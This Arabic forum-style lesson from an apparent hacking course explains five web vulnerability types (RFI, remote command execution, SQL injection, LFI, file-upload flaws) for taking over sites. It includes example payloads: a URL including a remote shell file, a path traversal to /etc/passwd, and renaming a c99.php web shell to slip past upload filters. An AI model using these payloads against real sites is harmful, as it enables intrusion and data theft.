السلام عليكم ورحمة الله وبركاته
وصلنا والحمدلله لدرس الثاني في الدورة وهي
((شرح أنواع الثغرات ومفاهيمها))
أنواع الثغرات وهي :
1-
Remote File Inclusion إختصارها
RFI
Remote Command Execution -2
SQL -3
Local File Inclution -4 إختصارها
LFI
Remote Upload Vulnerability -5
امممم نبداء بشرح كلا منها
=================================================
النوع الأول هي ثغرة تسمح لك بسحب الشل من خارج الموقع الى الموقع عن طريق الرابط مثلا
كود PHP:
www.sec-t.com/index.php?id=http://site.com/shell.txt?
اذا كان الملف مصاب بثغرة include سوف يتم سحب الشل عن طريق وضع رابط الشل
خلف علامة = بعد الرابط يجب ان نضع علامة
؟
اذا كانت الثغرة شغالة سيتم سحب الشل
اممم واحد بيسألني ماهو الشل
الشل يا طويل العمر هو ملف مبرمج بلغة PHP ترفعه اذا وجدت ثغرة ويسمح لك بالتحكم بالموقع كاملا كأنك صاحب الموقع وسنشرحه في الدروس القادمه
لأنه اساس الإختراق من ثغرات الـ web application
ملاحظة : ثغرات include قد شارفت على الإنقراض وبقية منها 2% فقط من جميع المواقع على الشبكة
يعني لو الثغرة كانت موجودة لو شرحت عليها مع التطبيق
=================================
الأن نروح لنوع الثاني وهو
Remote Command Execution
هاذي الثغرة تعجبني جدا وهي ثغرة تسمح لك بتنفيذ اوامر على السيرفر اوامر نظام التشغيل لينكس
مثلا
كود PHP:
www.xxxx.com/index.php?=id
اذا كانت الثغرة مصابه سوف تسمح لنا بتنفيذ الأوامر بوضع الأمر بعد علامة =
انا وضعت الأمر id وهو الأمر الذي يظهر صلاحيتي على السيرفر وانشالله نفهم اكثر في الدروس القادمه
==================================
النوع الثلاث وهو
SQL بالعربي تسمى ثغرات الحقن اي انك تحقن قواعد البيانات بأوامر لتستخرج منها معلومات قيمة جداا
مثل باسورد ويوزر الأدمن المخزنة في القاعدة الخاصه بالسكريبت
وهي الثغرة الأكثر شعبية واستعمالا الأن وقد تم الإطاحه بكبار المواقع مثل موقع الكاسبر سكاي و موقع مايكرسوفت بهاذه
الثغرة و سيتم شرح استغلالها وتطبيقها بشرح مخصص لأنها ثغرة عظيمة تحتاج لفيديو او درس خاااص
وتتواجد في أكثر من لغة برمجية كـ PHP و asp
==================================
النوع الرابع وهو Local File Inclution وهاذيه الثغرة تسمح لك بقراءة ملفات على السيرفر
مثل ملف etc/passwd وهو الملف الذي يحفظ يوزرات المواقع وطريقة الإستغلال هي
كود PHP:
www.xxx.com/index.php?=../../../../../etc/passwd
وطبعا كما تعودنا بعد علامة = نضع هذا الإستغلال ../../../../../etc/passwd
ماذا تعني ../
هذي تعني خطوة للخلف اي اذا كنا على هذا المسار vb/includes ووضعنا هذا الأمر بالإستغلال ../ سوف يتغير
مسارنا لمجلد /vb/ مع الدروس القادمه سوف تفهمون انشالله كما قلت انه درس لفهم انواع ومفاهيم الثغرات
وطرق عملها
================================
النوع الخامس ولأخير وهو
Remote Upload Vulnerability
وهي ثغرات مراكز رفع الملفات فبعض المرمجين الغير مباليين يسمح لك برفع امتداد php كما عرفنا انه الشل يكون ملف مبرمج
بلغة php اي امتداده ايضا php فهذا يسمح لنا برفع الشل مثلا شل بإسم c99.php
وهناك ايضا بعض مراكز التحميل التي يمكن خداعها ففي بعضي الأحيان نجد مركز رفع يسمح لك برفع امتداد
gif و jpg و rar و zip
فبذالك يمكن خذاع المركز بإعادة تسمية الشل من c99.php الى c99.php.rar او c99.php.gif
وسيتم الرفع و سأشرحه في درس مفصل مع التطبيق لووول
وبهذا ننهي الدرس لهاذا اليوم واتمنى انا اكون قد وفيت في الشرح